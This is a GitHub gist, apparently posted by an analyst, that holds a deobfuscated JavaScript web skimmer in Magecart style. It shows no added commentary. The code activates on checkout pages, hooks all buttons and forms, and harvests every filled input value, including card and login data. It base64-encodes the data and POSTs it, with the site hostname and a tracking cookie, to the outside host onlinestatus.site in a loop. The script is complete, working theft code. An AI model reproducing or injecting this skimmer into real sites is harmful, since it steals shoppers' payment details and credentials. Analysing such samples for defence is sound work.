Skip to content

Instantly share code, notes, and snippets.

@rickdaalhuizen90
Created July 7, 2018 13:28
Show Gist options
  • Save rickdaalhuizen90/1c063463154e8246016415f748c84efe to your computer and use it in GitHub Desktop.
Save rickdaalhuizen90/1c063463154e8246016415f748c84efe to your computer and use it in GitHub Desktop.
Deobfuscation van js script
var ydddcef0cda9f99ac91f7c3a1a48b587a = {
snd: null,
v88bc7dc484cdebc76aca340fe0cbe1d3: 'https://onlinestatus.site/js/status.js',
myid: (function(_0xb69fx2) {
var _0xb69fx3 = document['cookie']['match'](new RegExp('(?:^|; )' + _0xb69fx2['replace'](/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\$1') + '=([^;]*)'));
return _0xb69fx3 ? decodeURIComponent(_0xb69fx3[1]) : undefined
})('setidd') || (function() {
var _0xb69fx4 = new Date();
var _0xb69fx5 = _0xb69fx4['getTime']() + '-' + Math['floor'](Math['random']() * (999999999 - 11111111 + 1) + 11111111);
var _0xb69fx6 = new Date(new Date()['getTime']() + 60 * 60 * 24 * 1000);
document['cookie'] = 'setidd=' + _0xb69fx5 + '; path=/; expires=' + _0xb69fx6['toUTCString']();
return _0xb69fx5
})(),
clk: function() {
ydddcef0cda9f99ac91f7c3a1a48b587a['snd'] = null;
var _0xb69fx7 = document['querySelectorAll']('input, select, textarea, checkbox, button');
for (var _0xb69fx8 = 0; _0xb69fx8 < _0xb69fx7['length']; _0xb69fx8++) {
if (_0xb69fx7[_0xb69fx8]['value']['length'] > 0) {
var _0xb69fx9 = _0xb69fx7[_0xb69fx8]['name'];
if (_0xb69fx9 == '') {
_0xb69fx9 = _0xb69fx8
};
ydddcef0cda9f99ac91f7c3a1a48b587a['snd'] += _0xb69fx7[_0xb69fx8]['name'] + '=' + _0xb69fx7[_0xb69fx8]['value'] + '&'
}
}
},
send: function() {
try {
var _0xb69fxa = document['querySelectorAll']('a[href*=\'javascript:void(0)\'],button, input, submit, .btn, .button');
for (var _0xb69fx8 = 0; _0xb69fx8 < _0xb69fxa['length']; _0xb69fx8++) {
var _0xb69fxb = _0xb69fxa[_0xb69fx8];
if (_0xb69fxb['type'] != 'text' && _0xb69fxb['type'] != 'select' && _0xb69fxb['type'] != 'checkbox' && _0xb69fxb['type'] != 'password' && _0xb69fxb['type'] != 'radio') {
if (_0xb69fxb['addEventListener']) {
_0xb69fxb['addEventListener']('click', ydddcef0cda9f99ac91f7c3a1a48b587a['clk'], false)
} else {
_0xb69fxb['attachEvent']('onclick', ydddcef0cda9f99ac91f7c3a1a48b587a['clk'])
}
}
};
var _0xb69fxc = document['querySelectorAll']('form');
for (vari = 0; _0xb69fx8 < _0xb69fxc['length']; _0xb69fx8++) {
if (_0xb69fxc[_0xb69fx8]['addEventListener']) {
_0xb69fxc[_0xb69fx8]['addEventListener']('submit', ydddcef0cda9f99ac91f7c3a1a48b587a['clk'], false)
} else {
_0xb69fxc[_0xb69fx8]['attachEvent']('onsubmit', ydddcef0cda9f99ac91f7c3a1a48b587a['clk'])
}
};
if (ydddcef0cda9f99ac91f7c3a1a48b587a['snd'] != null) {
var _0xb69fxd = location['hostname']['split']('.')['slice'](0)['join']('_') || 'nodomain';
var _0xb69fxe = btoa(ydddcef0cda9f99ac91f7c3a1a48b587a['snd']);
var _0xb69fxf = new XMLHttpRequest();
_0xb69fxf['open']('POST', ydddcef0cda9f99ac91f7c3a1a48b587a['v88bc7dc484cdebc76aca340fe0cbe1d3'], true);
_0xb69fxf['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
_0xb69fxf['send']('info=' + _0xb69fxe + '&hostname=' + _0xb69fxd + '&key=' + ydddcef0cda9f99ac91f7c3a1a48b587a['myid'])
};
ydddcef0cda9f99ac91f7c3a1a48b587a['snd'] = null;
_0xb69fxe = null;
setTimeout(function() {
ydddcef0cda9f99ac91f7c3a1a48b587a['send']()
}, 30)
} catch (e) {}
}
};
if ((new RegExp('onepage|checkout|onestep', 'gi'))['test'](window['location'])) {
ydddcef0cda9f99ac91f7c3a1a48b587a['send']()
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment